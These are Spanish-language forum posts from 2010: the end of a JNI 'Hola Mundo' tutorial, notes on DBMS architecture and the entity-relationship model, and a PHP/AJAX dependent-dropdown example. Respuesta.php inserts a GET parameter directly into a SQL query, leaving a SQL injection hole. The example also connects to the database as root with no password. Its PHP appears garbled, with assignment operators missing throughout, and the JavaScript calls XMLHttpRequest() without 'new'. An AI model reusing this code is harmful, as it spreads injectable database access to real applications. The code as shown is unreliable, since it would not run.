JNIEXPORT void JNICALL Java_HolaMundoJNI_muestraHolaMundo
 (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif





[/list]


  • 6. Programando en C:

    Después de haber generado el .h, procedemos a crear el CODE en C, este es el código y sus anotaciones.

    HolaMundoJNIimpl.c

    #include <jni.h>
    #include "HolaMundoJNI.h"
    #include <stdio.h>

    JNIEXPORT void JNICALL Java_HolaMundoJNI_muestraHolaMundo (JNIEnv *evn, jobject obj){

    printf("Hola Mundo!!!");
    return;
    }


      Podemos observar que declaramos un función
    JNIEXPORT que no retorna nada (void) y como parámetros tiene un evento (*env) y un Object (obj) y es la misma función que esta llamando el .h... y en esta función escribimos todo el codigo que queramos  :xD

    Después pasamos a compilar el código con el VISUAL C++  


    Después de haber ejecutado el comando, nos aparecerá unos errores de compilación, pero en si el fin de haber ejecutado este comando es generar los archivos para pasar a crear el DLL  (el archivo .exp .obj y .lib)

    Para crear la librería utilizamos el comando cl con el modificador -LD



    Ya teniendo la libreria .dll ya es solamente es ejecutar el programa en java  y LISTO!!! con el comando java

    y el nombre del .class





LINK



#32
Bases de Datos / Arquitectura de un SDBG o DBMS
17 Febrero 2010, 17:23 PM
Hola hace rato compre un librillo que se llama Introducción a las Bases de Datos Relacionales es un texto bastante superficial por lo que vi, no profundiza mucho pero da los conceptos concretos y muy bien definidos.

Muchos se preguntaran como es el funcionamiento de manera lógica de un SDGB (Sistema de Gestion de Bases de Datos) o su acrónimo en ingles DBMS, la arquitectura de los sistemas de base de datos no se ha estandarizado al mismo grado que la de un compilador, pero hay ciertos módulos que de un modo u otro forma parte de la mayoría de los sistemas de gestión, están organizadas de la siguiente manera:


  • Gestor de Archivos: Este modulo que interactúa directamente con el sistema de archivos provisto por el sistema operativo. Tiene a su cargo el manejo de las estructuras físicas de almacenamiento, administración de espacio en memoria secundaria (como otros HD, cd o pendrive) y métodos eficientes de acceso y búsqueda.
  • Gestor de Datos:Ubicado a un nivel un poco mas alto de abstracción que el anterior, este modulo provee las funciones fundamentales que sirven de interfaz entre los datos y el programa de aplicación o consultas de usuario. Por ejemplo funciones típicas provistas a este nivel son la de encontrar todos los registros, o verificar que un conjunto de datos satisfaga las restricciones de la semántica, es decir de alguna consulta sql.
  • Procesador de Consultas: Este nivel traduce las consultas expresadas en un lenguaje de consulta de alto nivel (como sql) a una sucesión de pedidos básicos al nivel del gestor de bases de datos que pueda interpretar.
  • Controlador del Paralelismo: Cuando el sgdb soporta múltiples procesos y posiblemente modificando una misma base de datos, este controlador nos garantiza que estos procesos no interfieran unos con otros.
  • Sistemas de Recuperación: Junto con el controlador del paralelismo este modulo implementa la función del manejo de las transacciones. El sistema de recuperación debe mantener suficiente información acerca de progreso de los distintos movimientos que sufre la base de datos para garantizar un pronta restauración y casos de falla o perdida parcial o total de la información.

Anexo:

Estadísticas de mercado en el uso de SDBG


FUENTE
#33
Bases de Datos / Modelo Entidad Relacion
17 Febrero 2010, 17:22 PM
Modelo Entidad Relacion


El concepto de este modelo son de alto nivel semántico, cercanos al lenguaje usado por el usuario y no al del sistema. Este modelo fue propuesto Peter Chen en 1976, no como un modelo de datos a ser implementado en al practica por un SGDB o DBMS cino como herramienta conceptual para el diseño de una base de datos.

Entidades y Relaciones

Un modelo ER (entidad relación) es una descripción del mundo real que el diseñador intenta modelar según el el sistema de información. En este modelo, las estructura se describe por un conjunto de entidades u objetos de interés relacionados entre si. Por ejemplo, las siguientes entidades podrían se de interés en alguna aplicación:


  • Clientes
  • Cuentas Corrientes
  • Alumnos
  • Canciones de Rock
  • Interprete

Una instancia de una entidad es un individuo particular que pertenece a la case definida por esa entidad, por ejemplo:


  • El cliente Andres Trujillo
  • La cuenta Correinte numero 06-5467
  • La Alumna Beatriz Guido
  • Canciones "Never Lose"
  • Interprete Above and Beyond

Un relación es l conexión que vincula a dos o mas entidades. Por ejemplo si a ciertos Alumnos les gusta Canciones de Rock y si ese dato es importante par el diseño e importante saberlo, podemos definir una relación que asocia cada Alumno con 0,1 o mas Canciones de Rock y cada Canción de Rock con 0,1 o mas Alumnos. Esto se denomina un relación binaria porque asocia dos entidades.

Funcionalidad de las Relaciones


Para citar las funcionalidad de las relaciones dentro del modelo ER. debo decir que es un poco abstracto y a primera vista no lo puedan entender pero con los ejemplos se puede llegar a un concepto mas formalizado.

Una relación C entro dos entidades E1 y E2 es funcional, si asocia cada de E1 con a lo sumo (es decir 1:1) una instancia de E2. Por ejemplo si introducimos una relación llamada nació-en donde asocia las entidades Alumno y Ciudad, podemos decir que la relación es funcional ya que cada alumno nació a lo sumo en una ciudad, pero si decimos que un alumno A pudo haber nacido en otra ciudad que el Alumno B, entonces una ciudad puede tener de uno a mucho Alumnos y se convierte en un relación no funcioal. La funcionalidad de una relacion depende del lado del que se mire.

Diagramas de ER

Bueno el diagrama de un modelo ER es bastante sencilla, cada entidad se representa por un rectángulo, los atributos por elipses  y cada relación por medio de un rombo.

Analicemos el siguiente diagrama:


- Entidades: Tenemos dos entidades Alumno y Clase
- Atributos: La entidad Alumno tiene dos atributos DNI (identificador) y NOMBRE, la entidad Clase tiene también dos clases N°CLASE y NOMBRE_CLASE
- Relaciones: La relación PERTENECE describe que un alumno puede pertenece a mas de un clase  y que una clase puede tener mas de un alumno por es la relación es de mucho a mucho (N:M)


FUENTE
#34
PHP / [APORTE] Select Totalmente Dinamico
16 Febrero 2010, 22:08 PM
Les dejo el código de un select totalmente dinámico y con persistencia... salu2

ajax.sql

Código (sql) [Seleccionar]
-- phpMyAdmin SQL Dump
-- version 3.1.1
-- http://www.phpmyadmin.net
--
-- Servidor: localhost
-- Tiempo de generación: 11-01-2010 a las 19:38:51
-- Versión del servidor: 5.1.38
-- Versión de PHP: 5.2.8

SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";

--
-- Base de datos: `ajax`
--

-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `ciudades`
--

CREATE TABLE IF NOT EXISTS `ciudades` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `id_mun` int(11) NOT NULL,
  `ciu_nombre` varchar(20) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=15 ;

--
-- Volcar la base de datos para la tabla `ciudades`
--

INSERT INTO `ciudades` (`id`, `id_mun`, `ciu_nombre`) VALUES
(1, 1, 'Bogota'),
(2, 1, 'Girardot'),
(3, 1, 'Fusafasuga'),
(4, 1, 'Sopo'),
(5, 1, 'Chia'),
(6, 1, 'Tocaima'),
(7, 2, 'Medellin'),
(8, 2, 'Envigado'),
(9, 2, 'Itagui'),
(10, 2, 'Jardin'),
(11, 3, 'Neiva'),
(12, 3, 'Pitalito'),
(13, 3, 'Rivera'),
(14, 3, 'Timana');

-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `municipios`
--

CREATE TABLE IF NOT EXISTS `municipios` (
  `mun_nombre` varchar(20) NOT NULL,
  `id` int(11) NOT NULL AUTO_INCREMENT,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;

--
-- Volcar la base de datos para la tabla `municipios`
--

INSERT INTO `municipios` (`mun_nombre`, `id`) VALUES
('Cundinamarca', 1),
('Antioquia', 2),
('Huila', 3);


conexion.php

Código (php) [Seleccionar]
<?php 
#  AUTHOR: 4ng3r
#  Aplicacion: Select Totalmente Dinamico    
#  URL: http://angercode.wordpress.com
#  URL: http://foro.project-ric.org
#  Conexion a la Base de datos

function conectar(){
    if(
mysql_connect("127.0.0.1","root","")){
        return 
mysql_select_db("ajax");    
    }else{
        return 
FALSE;    
    }
}

function 
desconectar(){
    
mysql_close();
}

function 
consulta_Mun($val){
    
$query sprintf("SELECT %s FROM municipios",mysql_real_escape_string($val));
    
$sql=mysql_query($query);
    
$i=0;
    
$valores = Array();
    while (
$row mysql_fetch_assoc($sql)){
        
$valores[$i]=$row["$val"];
        
$i++;
    }
    return 
$valores;
}

?>



interfaz.php

Código (php-brief) [Seleccionar]
<?php
#  AUTHOR: 4ng3r
#  Aplicacion: Select Totalmente Dinamico    
#  URL: http://angercode.wordpress.com
#  URL: http://foro.project-ric.org
#  Interfaz

include_once("conexion.php");
if(
conectar()){
        function 
cargarMunicipios(){
        
$nom_M consulta_Mun("mun_nombre");
        
$id_M consulta_Mun("id");
        echo 
"<select name='municipios' id ='municipios' onChange='cargador(this.id)'>";
        echo 
"<option value='0'>Elija un Municipio</option>";
        for(
$i=0;$i<sizeof($nom_M);$i++){
            echo 
"<option value=".$id_M[$i].">".$nom_M[$i]."</option>";    
        }
        echo 
"</select>";
    }

?>


<html>

    <head>
        <script src="script.js"></script>
    </head>
   
    <body>
        <div id="independiente">
         <?=cargarMunicipios()?>
        </div>
        <br>
        <div id="dependiente">
            <select id="ciudades" name="ciudades" disabled="disable">
                <option value="0">Elija una Ciudad</option>
            </select>
        </div>
        <br><br>
        <div id="cargando"></div>                   
            <?php    
// END IF
            
?>

           
               
        </select>   
    </body>
   
</html>


script.js

Código (javascript) [Seleccionar]
//  AUTHOR: 4ng3r
//     Aplicacion: Select Totalmente Dinamico
//  URL: http://angercode.wordpress.com
//  URL: http://foro.project-ric.org
//  Cargador de Contenido

function contenidoXML(){
    return XMLHttpRequest();
}

// Declaro los compoenentes selects que va a utilizar mi aplicacion
// y debe coconrdar con el ID que le pusimos en el HTML

var selectsHTML = new Array();
selectsHTML[0]="municipios";
selectsHTML[1]="ciudades";

function cargador(idSelect){
    var selectIndependiente=document.getElementById(idSelect);
    // Seleccionamos el Select que depende al select que le corresponda el id=idSelect
    var selectDependiente= buscarSelect(selectsHTML,idSelect)+1;
    var option = selectIndependiente.options[selectIndependiente.selectedIndex].value;
    // Validamos si el usuario elijio la primero opcion, es decir, Elija un Municipio
    // y envio un advertencia
    if(option==0){
        // obtengo el Elemento
        selectD = document.getElementById(selectsHTML[selectDependiente]);
        // Borro los elementos que hay en el
        selectD.length=0;

        var mensaje = document.createElement("option");
        mensaje.value=0;
        mensaje.innerHTML="Debe elegir un Municipio !!!";
        // Incrusto el nuevo nodo
        selectD.appendChild(mensaje)
        selectD.disabled=true;
    }else{
        // Obtenemos el id del select que debemos cargar
        var idSelecteD = selectsHTML[selectDependiente];
        var selectD = document.getElementById(idSelecteD);
        var ajax = contenidoXML();
        ajax.open("GET","respuesta.php?option="+option,true);
        ajax.onreadystatechange=function(){
            if (ajax.readyState==1){
                document.getElementById("cargando").innerHTML="<img src='cargando.gif'>"
            }

            if(ajax.readyState==4){
                selectD.parentNode.innerHTML=ajax.responseText;
                document.getElementById("cargando").innerHTML="Consulta Satisfactoria"
            }
        }
        ajax.send(null);
    }
}

// Funcion para encontrar si el selec existe
function buscarSelect(arreglo , id){
    var x=0;
    while (arreglo[x]){
        if(arreglo[x]==id){
            return x;
        }
        x++;
    }
    return null;
}


Respuesta.php

Código (php) [Seleccionar]
<?php
#  AUTHOR: 4ng3r
#  Aplicacion: Select Totalmente Dinamico
#  URL: http://angercode.wordpress.com
#  URL: http://foro.project-ric.org
#  Respuesta

include('conexion.php');
conectar();
$option $_GET['option'];
$query "SELECT * FROM ciudades WHERE id_mun=".$option;
$sql=mysql_query($query);
echo 
"<select name = 'ciudades' id='ciudades'>";
echo 
"<option>Elija un Ciudad</option>";
while(
$row mysql_fetch_assoc($sql)){
    echo 
"<option value='".$row['id']."'>".$row['ciu_nombre']."</option>";
}
echo 
"</select>";
?>



DESCARGAR

RESULTADO